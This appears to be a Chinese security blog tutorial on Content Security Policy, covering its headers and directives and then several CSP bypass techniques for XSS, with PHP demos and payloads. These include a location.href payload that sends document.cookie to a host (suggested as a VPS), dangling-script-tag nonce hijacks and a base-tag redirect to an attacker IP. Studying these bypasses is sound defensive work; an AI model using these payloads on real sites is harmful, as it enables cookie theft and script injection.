目录

  1. 1. 前言
    1. 1.1. 配置
    2. 1.2. 指令
    3. 1.3. 指令值
  2. 2. 绕过
    1. 2.1. location.href
    2. 2.2. link标签预加载
    3. 2.3. meta网页跳转绕过
    4. 2.4. iframe绕过
    5. 2.5. CDN绕过
    6. 2.6. 不完整script标签绕过
    7. 2.7. base 标签改变资源加载域

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CSP

2023/12/12 Web XSS
  |     |   总文章阅读量:

前言

Content Security Policy内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以。

参考:

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

https://www.freebuf.com/articles/network/272918.html

https://blog.csdn.net/weixin_42478365/article/details/116597764

https://j0k3r.top/2019/11/19/csp-bypass/#%E6%A0%87%E7%AD%BE%E8%A1%A5%E5%85%A8

配置

要使CSP可用,需要配置响应包标头Content-Security-policy

Content-Security-policy: default-src 'self'; img-src https://*; child-src 'none';

html也可以配置

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; img-src https://*; child-src 'none';" />

也可以用Content-Security-Policy-Report-Only指定策略,不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用

Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

指令

Content-Security-policy的内容设置

script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。

指令值

*: 星号表示允许任何URL资源,没有限制;
self:表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;

那么对于一开始的示例

Content-Security-policy: default-src 'self'; img-src https://*; child-src 'none';

意思就是对于默认配置,仅允许来自同源的资源被页面加载;对于图像,允许https协议下的任何URL资源加载;对于框架,不允许任何资源被加载

所以我们写一个demo测试一下:

<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';" />
<img src=yinli.png>
<script src=2.js></script>
<script src=https://examples.com/script.js></script>
</head>
<body>
    <button id="myButton">点击我</button>
</body>

image-20231212093916299

可以看到图片和2.js作为同源资源都被载入了,但是https://examples.com/script.js没有被载入,因为是非同源资源


绕过

首先我们可以把响应的CSP政策丢CSP Evaluator检测一手

location.href

CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法

demo:

<?php
if (!isset($_COOKIE['a'])) {
setcookie('a',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['a'])) {
echo "Your GET content".@$_GET['a'];
}//
?>

虽然策略只允许同源的资源,但是我们还是可以用location跳转:location.href(window.location/window.open)绕过

exp:链接处可以改为vps地址

?a=<script>location.href="http://127.0.0.1"%2bdocument.cookie;</script>

image-20231212192722537

此时js脚本就被注入进去了,但是在default-src 'self'的情况下脚本实际上并不会执行

如果我们的配置修改为default-src 'unsafe-inline',那么再次传入上面的exp

image-20231212193816977

此时就发生了跳转,并且带出了cookie


link标签预加载

大部分浏览器已经约束了这个标签,我这里就懒得整这个了(


meta网页跳转绕过

实现跳转

<meta http-equiv="refresh" content="1;url=http://127.0.0.1:7890/" >

除此之外meta也可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

<meta http-equiv="cache-control" content="public">

meta还可以设置Cookie(Firefox下),可以结合self-xss利用

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

iframe绕过

iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问

在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。

而当一个同源站点存在A和B两个页面,如果A存在CSP保护而B没有,我们可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效

demo:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>

这个页面CSP明显拉满了

<!-- B页面 -->
<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="http://ctf:85"; <!-- A页面的地址 -->
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

image-20231212195007338

我们甚至可以利用这个ban掉js库

在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如某个页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

CDN绕过

一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险

做法基本上都是套用网上相应的payload格式来绕过CSP,有一个Breaking XSS mitigations via Script Gadgets能参考一下可以被用来CDN绕过的一些JS库


不完整script标签绕过

首先,当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性

然后我们看demo:

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

payload:

?xss=<script src=data:text/plain,alert(1)

注意我们只提供了一个左尖括号

image-20231212200240992

此时可以发现<script在后面匹配了个右尖括号,然后把后面的nonce="xxxxx"一起包含进来,劫持到了插入的script标签中,于是成功绕过script-src

不过这个方法在chrome里面好像寄了,会干扰chrome对标签的解析,但是这里可以用到标签的一个技巧:

当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

于是修改payload为

?xss=123<script src="data:text/plain,alert(1)" a=123 a=

新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,然后被忽略掉

image-20231212201017040


base 标签改变资源加载域

<base>元素指定用于一个文档中包含的所有相对 URL 的根 URL。一份中只能有一个 <base> 元素。

default-src 默认并不会设置 base-uri,所以当遇到设置了 default-src 却没有 base-uri 时可以使用 base 标签更改页面上下文,这时页面中使用相对路径的 script 就可以加载 base 标签地址中相应的内容

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//my_ip/">
<script nonce='test' src="2.js"></script>

此时就会加载 my_ip 下的 2.js 文件了